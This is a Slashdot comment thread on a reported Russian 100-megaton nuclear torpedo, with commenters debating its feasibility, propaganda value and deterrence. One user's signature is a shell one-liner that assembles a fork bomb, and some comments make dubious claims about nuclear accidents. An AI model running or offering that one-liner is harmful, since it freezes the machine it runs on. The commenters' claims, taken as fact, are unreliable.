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Pentagon Document Confirms Existence of Russian Doomsday Torpedo (popularmechanics.com)
Popular Mechanics reports that "a key U.S. nuclear weapons document confirms that the Russian government is developing the most powerful nuclear weapon in more than a half century...a 'new intercontinental, nuclear-armed undersea autonomous torpedo'" with a range of 6,200 miles.
But what really makes "Kanyon" nightmare fuel is the drone torpedo's payload: a 100-megaton thermonuclear weapon. By way of comparison, the atomic bomb dropped on Hiroshima was 16 kilotons, or the equivalent of 16,000 tons of TNT. Kanyon's nuke would be the equivalent of 100,000,000 tons of TNT. That's twice as powerful as Tsar Bomba, the most powerful thermonuclear weapon ever tested. Dropped on New York City, a 100-megaton bomb would kill 8 million people outright and injure 6 million more.
Kanyon is designed to attack coastal areas, destroying cities, naval bases, and ports. The mega-bomb would also generate an artificial tsunami that would surge inland, spreading radioactive contamination with the advancing water. To make matters worse there are reports the warhead is "salted" with the radioactive isotope Cobalt-60. Contaminated areas would be off-limits to humanity for up to 100 years.
Slashdot reader schwit1 adds that "being sea-based makes it immune to ballistic missile defense."
Kanyon is designed to attack coastal areas, destroying cities, naval bases, and ports. The mega-bomb would also generate an artificial tsunami that would surge inland, spreading radioactive contamination with the advancing water. To make matters worse there are reports the warhead is "salted" with the radioactive isotope Cobalt-60. Contaminated areas would be off-limits to humanity for up to 100 years.
Slashdot reader schwit1 adds that "being sea-based makes it immune to ballistic missile defense."
Can it?
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
WTF is going over there, Vlad ? Are you guys having some kind of retro movie festival (Dr Strangelove, Wargames, On the Beach) with free vodka and meth ?
Large exchanges of salted weapons is mindlessly catastrophic.
Murphy's Law, everything that can go wrong will go wrong, has not been abolished. Nuclear weapons have prevented major wars for 70 years, but this may be the conservation of catastrophe. Putting out many small forest fires builds up to a huge one. Connecting our cities to a large electric grid stops frequent small blackouts but builds up to occasional huge, multi-state blackouts.
Considering that this is a torpedo and those travel through and under water, does it really make sense to talk about what a 100 megaton atomic weapon would do if it were dropped on a city?
Something like this is scary enough in its own rights, if only because there may not be as good of defenses in place which make it individually more likely to succeed, but even a much smaller warhead would be effective if it came to nuclear war. Never mind that if we're in that situation at all, both the U.S. and Russia already have enough conventional nuclear weapons to destroy each other several times over and neither of us could stop the others entire arsenal.
Our missile defense systems are designed to deter the guys who can launch one, or a handful of missiles (read: Iran or, until recently, North Korea). They were never seriously expected to defend against a full-scale Russian attack.
I don't care if it's 90,000 hectares. That lake was not my doing.
I don't find this scary in and of itself because we're already at the point where we could destroy human civilization several times over, and have been for decades. I'm far more concerned that so many are goading Trump into escalating with Russia to "prove" he isn't a puppet.
Such information being made public so quickly seems to be in line with the "make people fear the Russians" campaign that's been going on since the election. Normally, this kind of thing would be classified (we overclassify EVERYTHING, and Russian nuclear capabilities is a legit secret), so a public release likely indicates an attempt to shape policy. IIRC, US intel overestimated the number of Soviet nukes by an order of magnitude, which made an easy sell for building a fuckton of nukes.
Yes, Putin is bad. Russia is bad. That doesn't mean we should trust something the Pentagon releases.
This is my signature. There are many like it, but this one is mine.
leaked by Russian television in November 201
Old news indeed!
Slashdot, fix the reply notifications... You won't get away with it...
At first thought, it would appear that this wouldn't be suited at all as a first strike weapon. Despite the immense damage it would cause, it would not directly cripple a retaliatory strike. The U.S.'s bombers and missiles are far inland and it would only sink the nuclear subs that happened to be in port nearby.
However, it COULD be used to decapitate much of the the political "leadership" (if one were to call the Trump administration that) and also much of the military leadership if it were detonated right off of Washington D.C. In fact, assuming that it could get close enough to be used (which of course is the only way it could be useful) it would be an almost instantaneous first strike weapon. Unlike a ballistic missile launched from a sub offshore on a depressed trajectory (5 min.?) or a nuke disguised as a satellite that suddenly de-orbits (20 min.?) it would be able to wipe out its target with too little time to escape. That, coupled with a "normal" first strike that would take out the land based bombers and missiles might be enough to keep the retaliation to a minimum. Or in the words of General 'Buck' Turgidson, "10-20 million (casualties) tops. Sure (they'd) get their hair mussed but (they'd) win".
Insane? Well so is the idea of an autonomous (meaning I presume there's no way to call it back) doomsday torpedo. Sounds like one could remake "The Hunt for Red October" with just a few changes; a robotic submarine capable of ending the world (or just the coast of many large nations) is accidentally launched and it must be found and destroyed before it gets within range (or becomes sentient).
Since Russia isn't nearly as vulnerable as the U.S. from coastal attacks but seems to be way behind and falling further in space technology (thanks Elon!); why not put a big rock in the sky that, with just a little nudge, would fall down the gravity well and give a non-radioactive 100MT blast? Or, if the Russians are going to go ahead and violate the nuclear arms treaty (I'm pretty sure developing a whole new strategic nuclear weapon system is not allowed), use America's lead in new biotechnologies that could target specific regions or exact populations (I'd tell you how but probably not best to talk about such things publicly).
globalism is. The Aristocracy is global now. They don't own countries, they own the world. More specifically they have property all throughout the world and don't want to see it blown up. They'll allow a few bush fire style conflicts to keep war profiteering going (Iraq, Afghanistan, etc) and they'll put down rebellions (Yemen) but they won't allow another full scale war to dip into their profits and break their stuff and, well, they're the aristocracy so they're in charge.
Hell, maybe about a decade ago Pakistan basically looked the other way while a major terrorist incident happened in India and nothing came of it. That's because an India/Pakistan war would be bad for business.
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While the article, true or not, is ripe with fearmongering...I wonder what our geopolitical rivals have to say about our undeclared "Doomsday" arsenal.
The whole story sounds like complete and utter bollocks quite frankly.
Consider
1) How big is the torpedo. There's a picture of the original Tsar Bomba here
https://en.wikipedia.org/wiki/...
It's enormous. Way larger than a torpedo tube.
2) How far away from the launching submarine would 100 Mt warhead need to be? 100 Mt is obviously an enormous amount and explosions under water are more damaging.
3) How is an 'intercontinental torpedo' propelled? It seems the propulsion system would add more weight to an already heavy concept
4) How is it guided? GPS won't work because it's underwater. Submarines use all sorts of subtle techniques like passive sonar to avoid revealing their location and ultra low frequency radio transmissions. A human crew on a sub can do this. It's far from clear a drone submarine is viable
5) Why salt the bomb? That would poison the oceans over a vast area.
It just sounds like the Russians have leaked this in attempt to make the US give up on missile defence. There's no evidence this project got funded. And Russia is so cash strapped it didn't even an SLBM subs patrolling as recently as 2006. Putin has pushed for new SLBMs and new subs to put them with the result the US no longer has nuclear primacy but that process was not exactly embarrassment free - tests failed for a while.
E.g. here in 2013
https://www.military.com/defen...
The idea Russia is going to get what is effectively a drone submarine working anytime soon when it seemed to have significant teething troubles doing what was the Russian equivalent of an Ohio class replacement is absurd. Most likely they're bullshitting in the hope it gives the US left an excuse to say that 'ballistic missile defence can't non ballistic missile threats, therefore it's not worth doing'.
Actually what it reminds me of is the US announcement of 'Star Wars' aka SDI. It wasn't technically practical then but the Russians didn't know that. If you read Gorbachev's autobiography him and Shevardnadze used SDI to make the case that the USSR had lost the Cold War and it was time to surrender. Rumours of this device are presumably intended to cause the same sentiment in the US.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, you have to launch it from your submarine anyway - you don't want it to detonate on top of you, do you?
This is a "Drone Torpedo" capable of 6,200mile range. It *is* the submarine.
SDI was part of the Strategy of Technology. It was an economic strategy, not a military one. The wikipedia page is awful, by the way. I only link to it to show that it was a real thing that people took seriously. To learn about it, it is better to go straight to the source.
The goal here isn't to demoralize us, it is to force us to spend money to develop underwater anti-drone technology.
Unfortunately for them, I think it will backfire. We can afford it. We'll end up with underwater drones and underwater anti-drones and our economic growth will still outpace Russia.
See that "Preview" button?
It looks too much like "Hey, look!! The evil child-eating communists are deploying bigger doomsday weapons!!! We must spend another trillion dollars in weapons NOW!!!" (many time later someone points that the document about the russian weapon is fake or just speculation, but it does not matter anymore because money has already created new millionaires)
Religion: The greatest weapon of mass destruction of all time
It is only named 'torpedo'.
It does not mean it is launched from a sub from a torpedo tube.
It could be launched from a port in Russia, and then need 2 days to reach its target.
The propulsion could be nucear, after all it is a small submarine.
Navigation via ineritita navigation plus magnetic field detection. Basically every cube meter of ocean water and especially sea floor is mapped for the orientation of the earth magnetic field.
So: navigation is most likely the most simplest problem.
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
The Pentagon is warning us about a new weapon enemies have. Good way to get funding.
Kind of the same way antivirus companies sell lots of software during a new scare.
obligatory XKCD what-if: https://what-if.xkcd.com/15/
Summary: even with twice Tsar-bomb level yields, trying to create a wave dangerous to cities is a waste of a good nuke. Instead just nuke a city with ordinary sized nukes, it'll ruin inhabitant's day in a much worse manner
Putin isn't a lunatic who wants to end the world. He has murdered and robbed his way to the top, and he very much wants to retire with all his loot somewhere and enjoy it. Greedy materialists aren't really the type to want to destroy the world. North Korea isn't likely to shoot first unless Kim thinks that the US is about to kill him, and Putin is no different. His life is great, he has an entire country under his thumb. Both of these guys are monsters, but they are somewhat predictable in that they have motivation to want to keep their money, power, and health intact. They will act to preserve these things first and foremost.
Any investigation into doomsday weapons will be colored by these motivations. A super torpedo would be very, very slow compared to a ICBM. It would also be very large, and if detected in transit, it would give an opponent quite a bit of time to react. Moreover, there is the Dr.Strangelove problem: Unless you tell everyone about it, it serves as no deterrent so you cannot keep it secret. By telling people about it, you are giving them a first strike target and making it less likely that it will survive to complete its mission. This weapon is also limited to hitting coastal targets, that is quite a limitation.
This seems like a really expensive and risky weapon to construct. Wouldn't it just be simpler to restart the nuclear arms race, and start cranking out thousands and thousands of more conventional nuclear weapons to saturate anti-missile systems? You only need one or two to connect with a target.
However, this doomsday weapon is a great disinformation weapon if you want to 'leak' its existence and cause your opponents to worry. How much time and money will they spend trying to detect and defend from such a weapon?
HA! I just wasted some of your bandwidth with a frivolous sig!
I decided to read TFA, and it appears you are correct. The document in question compares the number of “New Nuclear Delivery Vehicles Over the Past Decade” between Russia, China, North Korea, and the US. The other three countries show numerous new ways to kill Americans, while the US section is woefully blank except for one only little blip in the far right corner.
It really is apparent the referenced one-page infographic’s sole purpose is to convince politicians that we need to spend lots of money on new nukes.
I wouldn’t be surprised if the back side of the sheet had some sort of graphic spelling out the economic damage all those unemployed Bechtel engineers are inflicting on the US economy.
#DeleteChrome
Basically every cube meter of ocean water and especially sea floor is mapped for the orientation of the earth magnetic field.
...which has been changing substantially of late. It's normal for it to change, but right now it's changing a lot.
I think you have to get it pretty close manually. That means attaching it to another vessel somehow. It doesn't necessarily mean putting it into a torpedo tube. You could put it into a missile tube, if you wanted to.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Do you comprehend that it is impossible to win in nuclear war? All existing treaties are just gentlemen's agreements and nothing more. There is no 100% protection against retaliation attack. USA builds its anti-ballistic missile defense. So lets now ask ourselves what ballistic missile is? It is just a safe way to store nuclear warheads at your own territory within your own security perimeter, so nobody else has access to it, except you. The same we can say about any other type of conventional nuclear warheads. The main concern is not about penetrating defense of your potential enemy, but guarantee long term safety of your own nuclear arsenal at your own territory. That is why Russia eliminated nuclear trains, because it is just not safe. It is extremely dangerous to drive trains with warheads across your own cities. So as you can imagine the other way is juts to place warheads into orbit and just wait for the time to drop them from the skies back. What is the problem with this? This is absolutely not safe for your own country to deploy such weapon. It can be just an accident at orbit or such satellite can be taken under control by an idiot or terrorist. It is not safe for your own country. Flying nuclear warheads by planes is dangerous. USA had several accidents in its history. Keeping them aboard of submarines is dangerous. We had accidents with nuclear submarines already. We do all precautions but we cannot avoid accidents with nuclear power stations: Chernobyl, Fukushima. It is safer to have small nuclear warheads and ballistic missiles stored in nuclear silos under guard of special forces. Further escalation of cold war style nuclear race will force sides to use less safe ways of storing existing weaponry, make more powerful warheads, multiply methods of delivery, enlarge military personal having access to nuclear warheads, be less safe and develop dangerous less human manually controlled types of machines. The potential ways to attack will be always cheaper than ways to defend. The race will elevate risks of accidents and loss of weapons to terrorists to extreme levels. The current situation reminds me software engineering problems, when product managers are trying to redesign reliable working systems for the sake of having good job. When people having no idea about what to do in this life are trying to break what is working well.
You're confusing nuclear bombs with nuclear reactors. Sure, they both use nuclear fuel, but one produces a hell of a lot of energy very quickly, and the other releases a much smaller quantity of energy very slowly.
Whilst accidents have been known to happen with nuclear reactors, there has never been a case where an explosion has been caused as a direct result of nuclear fission. The explosion at Chernobyl was caused by hydrogen buildup, caused by the fission reaction stripping water molecules apart. Once the core melted, and an ignition source was found, the hydrogen exploded, blowing apart the reactor building.
Apart from the possible meltdown risk of uranium based nuclear reactors, nuclear power is very safe. It's also worth noting that the impact of radioactive fallout has been exaggerated. For example, it's safer to walk through the exclusion zone around Chernobyl,than it is to fly to Ukraine to visit Chernobyl ). With Thorium Molten Salt designs, the risk of catastrophic disaster is rendered almost nil, which was one of the requirements (along with light weight and compactness) of the design when it was planned to be fitted into a Nuclear-powered bomber
If you gave me a choice between a printer and a giraffe with explosive diarrhoea, i'll get my ladder and my raincoat